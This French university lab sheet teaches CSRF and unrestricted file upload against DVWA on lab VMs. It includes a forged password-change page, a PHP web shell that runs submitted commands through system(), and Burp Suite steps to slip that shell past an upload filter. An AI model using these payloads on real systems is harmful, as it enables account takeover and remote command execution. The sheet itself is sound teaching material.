TP 4: CSRF et *File Upload*

Consignes générales :

- Un compte-rendu par binôme
- Justifiez vos réponses mais soyez concis.

Objectifs

Cross-Site Request Forgery, Unrestricted File Upload

Pré-requis

VirtualBox

Introduction

Comme d'habitude :

NE LES UTILISEZ PAS POUR ATTAQUER DES SITES WEB NE VOUS APPARTENANT PAS !!

Maintenant reprenez vos deux VM, Kali Linux et Metasploitable2 et démarrez-les en mode pont.

- Kali Linux : root/toor
- Metasploitable2 : msfadmin/msfadmin

Activités

1. CSRF

Sur Meta, créez le site mysite avec la page suivante :

```
<html>
        <head>
        <title>
                Ta page
        </title>
        </head>
        <body>
        <img src=http://192.168.1.75/dvwa/vulnerabilities/csrf/?
password_new=forceg&password_conf=forceg&Change=Change#  width="1" height="1">
        </body>
</html>
```

Pendant que vous êtes connecté à dvwa, invoquez dans un autre onglet mysite/index.html. Déconnectez-vous de dvwa et reconnectez-vous : qu'observez-vous ? Expliquez.

« Une attaque CSRF n'exige qu'une connaissance de l'application cible : le pirate n'a aucun besoin de connaître les infos de login de la victime ». Vrai, faux ? Justifiez.

Quelles sont les méthodes de protection implémentées dans les autres niveaux de sécurité ?

2. *File Upload*

Sur l'interface de DVWA, configurez le niveau de sécurité à *low* et revenez sur le thème *Upload*.

Récupérez une photo (d'huître) sur internet et sauvegardez-la comme oyster.jpeg. Utilisez l'interface

de DVWA pour charger le fichier. Où ce fichier est-il téléchargé dans l'arborescence ?

Créer sur votre machine le fichier simple.php suivant :

```
<html>
        <head>
        <title>
                Ta page
        </title>
        </head>
        <body>
        <?php echo "Laissez-moi entrer, laissez-moi !"; ?>
        </body>
</html>
```

En utilisant l'interface *Upload*, chargez ce fichier sur le serveur. Vérifiez son exécution.

Créez à présent le script console.php suivant :

```
<html>
        <head>
        <title>
                Ta page
        </title>
        </head>
        <body>
        <form method="POST" name="exec" >
                Entrez une commande :
                <input type="text" name ="commande"><br>
                <input type="submit" name ="execute" value="exec">
        </form>
        <br>
        <?php
                if (isset($_POST[commande]))
                        {
                                $commande = stripslashes($_POST[commande]);
                                system($commande);
                        }
        ?>
        </body>
</html>
```

Une fois le script chargé sur le serveur, pouvez-vous l'utiliser pour « nettoyer » le répertoire en cours ? Si le compte associé au serveur web avait tous les droits, que pourriez-vous faire ?

Pendant que vous imaginez le pire scénario possible, le manager du site a défini des mesures de sécurité équivalentes au niveau *medium*. Après avoir appliqué cette configuration, pouvez-vous charger sur le serveur des images en .gif ? En .jpeg ? Des fichiers texte ? Du php ?

Comment ce filtrage est-il implémenté sur le serveur ?

Pour passer outre cette limitation, lancez le logiciel BurpSuite (*Applications/Applications web/BurpSuite*). BurpSuite se positionne comme un proxy : une fois configuré, les flux de communication de votre navigateur seront contrôlés par l'outil. Ouvrez un projet temporaire, laissez la configuration par défaut et démarrez Burp

Dans votre navigateur, accédez à la configuration de la méthode de connexion à Internet : sous Firefox, allez à Advanced/Network/Connection et cliquez sur Settings. Choisissez la configuration manuelle du proxy et configurez le proxy HTTP à 127.0.0.1 avec le numéro de port 8080 : Burp écoute sur ce port sur votre VM.

Relancez votre upload du fichier image : Burp intercepte la requête : vous pouvez le voir dans l'onglet Proxy de Burp. Retrouvez dans le corps de la requête les lignes suivantes :

Content-Disposition: form-data; name="uploaded"; filename="chestnut.jpeg"

Content-Type: image/jpeg

Ces lignes décrivent le fichier transmis : son nom avec son extension et son type MIME. Le type MIME définit la nature du fichier suivant une norme.

Changez, dans le corps de la requête, les trois premières lettres du nom du fichier. Recevez-vous un message d'erreur local ? Un message d'erreur du serveur distant ?

Revenez sur la page du script console.php et entrez la commande ls. Conclusion ?

Comment pouvez-vous utiliser ces résultats pour charger un nouveau script sur le serveur ?

A partir de cette utilisation de Burp, expliquez pourquoi l'utilisation du champ HTTP_REFERER n'est que le niveau medium de l'implémentation de CSRF.